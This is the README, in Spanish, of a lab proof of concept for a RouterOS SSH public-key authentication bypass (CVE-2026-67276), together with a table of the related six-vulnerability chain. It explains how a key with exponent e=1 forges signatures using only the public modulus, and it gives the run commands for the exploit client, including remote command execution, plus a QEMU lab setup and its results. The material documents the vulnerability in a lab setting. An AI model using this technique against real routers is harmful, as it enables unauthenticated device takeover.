
CVE-2026-67276 PoC de laboratorio para la omisión de autenticación de clave pública SSH en RouterOS
Solo para uso en laboratorio. Ejecutar exclusivamente contra instancias de RouterOS que sean de tu propiedad. Atacar dispositivos que no te pertenecen es un delito (CFAA, art. 267 del Código Penal polaco, y equivalentes).
CERT PL (2026-09-05) reveló seis vulnerabilidades de RouterOS, explotadas activamente en la naturaleza como la cadena "MikroTrick" (toma completa del dispositivo sin autenticación cuando SSH es accesible desde internet). Corregidas por MikroTik el 2026-09-03 en 7.25beta3 / 7.24.2 / 7.23.4 / 6.49.21.
| CVE | Tipo | Defecto principal |
|---|---|---|
| 2026-67276 | CWE-347 (este PoC) | La comprobación de coincidencia de clave de userauth SSH verifica (tipo de clave, módulo) pero omite el exponente; la verificación de firma usa la clave proporcionada por el cliente ⇒ falsificación con e=1 |
| 2026-86060 | CWE-88 | Inyección de argumentos mediante nombre de usuario que comienza con un carácter prohibido (-2 visto en registros de ataques) ⇒ cambio de máscara de política ⇒ escalada de privilegios |
| 2026-67279 | CWE-841 | SSH entra en el protocolo de conexión tras un rekey solicitado por el cliente sin userauth completado ⇒ ejecución no autenticada en el espacio de nombres de archivos |
| 2026-67277 | CWE-306 | Estado previo a la autenticación de bandwidth-test + divulgación de buffer no inicializado + desbordamiento de tamaño ⇒ fuga de memoria del kernel / reinicio |
| 2026-67278 | CWE-347 | X.509 acepta firmas RSA/PKCS#1v1.5 malformadas; ancla de confianza con e=3 ⇒ falsificación de intermediario de confianza |
| 2026-67281 | CWE-824 | Puntero principal no inicializado obsoleto en WebFig /jsproxy + escape de ruta ⇒ lectura de archivos como root |
Rangos vulnerables (los seis): [7.24, 7.24.2), [7.0.0, 7.23.4), [6.0.0, 6.49.21).
{ssh-rsa, e=1, n=víctima} hace que sig^1 mod n == sig, por lo que
la "firma" válida es simplemente EMSA-PKCS1-v1_5(hash, authdata) — calculable
por cualquiera que conozca el módulo público de la víctima. No se necesita clave privada.Precondiciones (el mínimo de la propia divulgación): nombre de usuario objetivo + el módulo RSA público autorizado de ese usuario.
n de esa clave autorizada (de un .pub filtrado/capturado,
registros de aprovisionamiento, o --modulus-hex). Esta es la única entrada
cercana a un secreto; la clave privada nunca es necesaria.ForgeKey — OpenSSH estándar no puede).ssh-rsa en 6.x, rsa-sha2-256
también en 7.x).forge_67276.py — primitiva: análisis de clave pública OpenSSH, codificador EMSA RFC 8017,
constructores de blob/firma falsificados, verificador de referencia RFC 8017.selftest.py — prueba local, sin router: codificador idéntico byte a byte a OpenSSL
(mediante inversión de firma real), la firma falsificada verifica con e=1 y NO con 65537,
simulación completa de la forma de cable RFC 4252 §7. Las 15 comprobaciones PASAN.poc_67276.py — cliente paramiko que realiza la omisión (fijación de algoritmo
por conexión; se requiere --lab-i-own-this-target).console_setup.py — preparación única de CHR a través de telnet serie de qemu
(obtener clave de la víctima mediante 10.0.2.2, importar para admin, habilitar ssh).sanity_real_key.py — control: la autenticación normal de clave pública debe tener éxito primero.victim_rsa / victim.pub — par de claves "víctima" desechable generado de 2048 bits;
excluido deliberadamente de Git.python3 -m venv .venv
./.venv/bin/python -m pip install -r requirements.txt
ssh-keygen -q -t rsa -b 2048 -N '' -C victim-key -f victim_rsa
/root/mikrotrick-lab/, puente del host br0
(192.168.100.1/24) con taps tap0-tap3; dnsmasq en br0 con concesiones por MAC.| VM | Imagen | IP del invitado | MAC | Túnel desde Mac |
|---|---|---|---|---|
| chr-6.49.20 | 6.x vulnerable | 192.168.100.11 | 52:54:00:aa:00:11 | 127.0.0.1:2222 |
| chr-6.49.21 | 6.x parcheado | 192.168.100.12 | 52:54:00:aa:00:12 | 127.0.0.1:2223 |
| chr-7.23.3 | 7.x vulnerable | 192.168.100.13 | 52:54:00:aa:00:13 | 127.0.0.1:2224 |
| chr-7.23.4 | 7.x parcheado | 192.168.100.14 | 52:54:00:aa:00:14 | 127.0.0.1:2225 |
labpass123, y clave de la víctima importada para admin. Los cambios forzados de contraseña
en el primer inicio de sesión se gestionaron por SSH (bootstrap_password.py lee el diálogo) o
mediante sendkey del monitor QEMU (mon_type.py) — la consola serie de CHR está muerta por
defecto; la consola VGA solo es legible mediante screendump del monitor.ssh -N -L 2222:192.168.100.11:22 -L 2223:192.168.100.12:22 -L 2224:192.168.100.13:22 -L 2225:192.168.100.14:22 [email protected]Re-ejecución (ejemplo, VM3):
qemu-system-x86_64 -enable-kvm -m 512 -smp 2 -name chr-7.23.3 \
-drive file=/root/mikrotrick-lab/chr-7.23.3.img,format=raw,if=virtio \
-netdev tap,id=n2,ifname=tap2,script=no,downscript=no \
-device e1000,netdev=n2,mac=52:54:00:aa:00:13 \
-display none -monitor unix:/root/mikrotrick-lab/mon3.sock,server,nowait &
./.venv/bin/python import_key.py 127.0.0.1 admin labpass123 victim.pub 2224
./.venv/bin/python sanity_real_key.py 127.0.0.1 2224 victim_rsa admin # línea base
./.venv/bin/python poc_67276.py --host 127.0.0.1 --port 2224 \
--username admin --pubkey victim.pub --algos rsa-sha2-256,ssh-rsa \
--exp-enc aligned --exec '/system resource print' --lab-i-own-this-target
| Objetivo | clave privada real (línea base) | clave falsificada e=1 (PoC) |
|---|---|---|
| 7.23.3 | auth OK | auth OK + ejecución de /system resource print — CVE confirmado |
| 7.23.4 (parcheado) | auth OK | rechazado |
| 6.49.20 | auth OK | rechazado (ver matiz) |
| 6.49.21 (parcheado) | línea base no válida | no interpretable; el invitado aceptó autenticación SSH none |
Para el par 7.x, la línea base de clave real tiene éxito en ambas versiones, la autenticación
SSH none es rechazada, una falsificación con módulo incorrecto es rechazada por 7.23.3,
y la falsificación con módulo correcto tiene éxito solo en 7.23.3. Esta es una comparación
válida de vulnerable frente a parcheado.